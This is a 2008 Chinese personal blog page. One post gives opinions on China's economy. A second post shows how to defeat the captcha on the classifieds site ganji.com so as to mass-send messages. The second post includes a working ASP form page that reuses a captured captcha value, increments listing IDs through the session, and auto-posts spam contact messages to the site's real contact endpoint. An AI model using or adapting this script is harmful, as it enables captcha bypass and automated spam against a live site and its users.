2008 January _混子的夜生活

Jan 25

繁荣经济背后

By 混子

以下只是一家之言，不是你作问题参考的依据

教育及就业：自从1999年高考扩招以来，中国每年的就业率极为不乐观，大量无任何能力的“大学生”进入社会造成人才拥堵，隐性失业在失业率占的比例越来越高！经济高速发展，第三产业发展制后，与就业率的负相关系拉大，结构性失业比例严重失调。国家在提高整体教育水平的同时忽略了教育质量。

好玩的GDP：这是衡量国家经济发展最重要的指标，在中国却有点尴尬。“父母官”为了争功劳，抢业绩，玩起了数字游戏。某些省份一定时期平均GDP 要低于省内各地区的GDP值，当然整个国家也出现这样的问题。2007年发改委提出，加强GDP数字审核，不晓得他们是怎么拼这些数字欺骗老百姓的。

经济增长过热：我记忆中好象连续3年增长都是10%以上！这可真是不祥预兆。投资过热出现股市危机；房地产危机；利率增长；通货膨胀等，尽管政府一直在干预这些问题，但力度太小根本无法控制局面。

Jan 17

验证码欺骗来说明伪造SESSION的可行性！

By 混子

No Comments

technology

提外话：要做ganji.com的群发，研究了一晚上的验证码以及与此相关的东东！最后是做出了群发的小软件！但效率并不怎么高！恰好看到邪八讨论SESSION的问题！开始我也跟所有人一样，认为nowthk的认识是错误的！恰好又无聊，就按照他的思路（不知道理解正确与否）来测试了一下！

目标测试地址：http://cs.ganji.com/service25d/07080413_2166.htm

第一步：打开后别关这个页面，记住验证码6333

然后我们自己来做一个自动提交的页面：

<HTML xmlns=”http://www.w3.org/1999/xhtml”><HEAD><TITLE>好房呢-赶集网房产</TITLE>
<META http-equiv=Content-Type content=”text/html; charset=gb2312″>
<META content=没有什么 name=description><LINK href=”images/n-base.css” mce_href=”images/n-base.css”
type=text/css rel=stylesheet><LINK href=”images/n-top_bottom.css” mce_href=”images/n-top_bottom.css”
type=text/css rel=stylesheet><LINK href=”images/n-font_link.css” mce_href=”images/n-font_link.css”
type=text/css rel=stylesheet><LINK href=”images/n-postList_content.css” mce_href=”images/n-postList_content.css” type=text/css rel=stylesheet>
<!–保留当前页面session.为了快速看到效果，把id设为2166，刷新一次ID就自动+1–>
<%
if Session(”id”)=”” then
id=2166
else
id=Session(”id”)+1
end if
Session(”id”)=id
%>
<FORM name=contact action=http://cs.ganji.com//info/contact.php method=post target=_blank encType=multipart/form-data>
<DIV id=mailUserTitle>邮件联系发布人<FONT size=+0> <A name=contactAuthor></A></FONT></DIV>
<DIV id=mailUserContent>
<DIV><LABEL><B>* </B>您的E-mail：</LABEL>
<INPUT name=From id=From value=”hehe@163.com” size=25 maxLength=50>
<BR></DIV>
<DIV><LABEL>您的姓名：</LABEL>
<INPUT name=YourName id=YourName value=”hellokane” size=25 maxLength=50>
</div>
<div><LABEL>Sort:</LABEL>
<input name=”Sort” type=”text” id=”Sort” value=”service”>
</DIV>
<div><LABEL>ID:</LABEL>
<input name=”ID” type=”text” value=”<%=id%>” id=”ID”>
</DIV>
<div><LABEL>list_type:</LABEL>
<input name=”list_type” type=”text” value=”25″ id=”ID”>
</DIV>
<DIV><LABEL><B>* </B>内容：</LABEL>
<TEXTAREA id=Content name=Content rows=5 cols=25>看了你发布的信息，请你和我联系，我的QQ：xxxxx</TEXTAREA>
</DIV>
<DIV class=checkNumber><LABEL><B>* </B>验证码：</LABEL>
<INPUT id=vCode maxLength=4 value=”6333″ size=5 name=vCode><!–这是验证码的值一定要修改跟你打开页面的验证码一样。而且我

们只需要设置一次就OK！–>
<BR>
</DIV>
<DIV><LABEL> </LABEL> <INPUT class=button type=submit value=提交 name=Submit>
<INPUT class=button type=reset value=重填 name=reset111>
<INPUT style=”DISPLAY: none” type=hidden value=changsha name=City>
<INPUT style=”DISPLAY: none” type=hidden value=contact name=action>
</DIV></DIV></FORM>
</BODY></HTML>

第二步：用www.hunzi.org/ganji.asp访问！（请注意ID值的变化，以证明我们的SEESION保留还是消失）然后点提交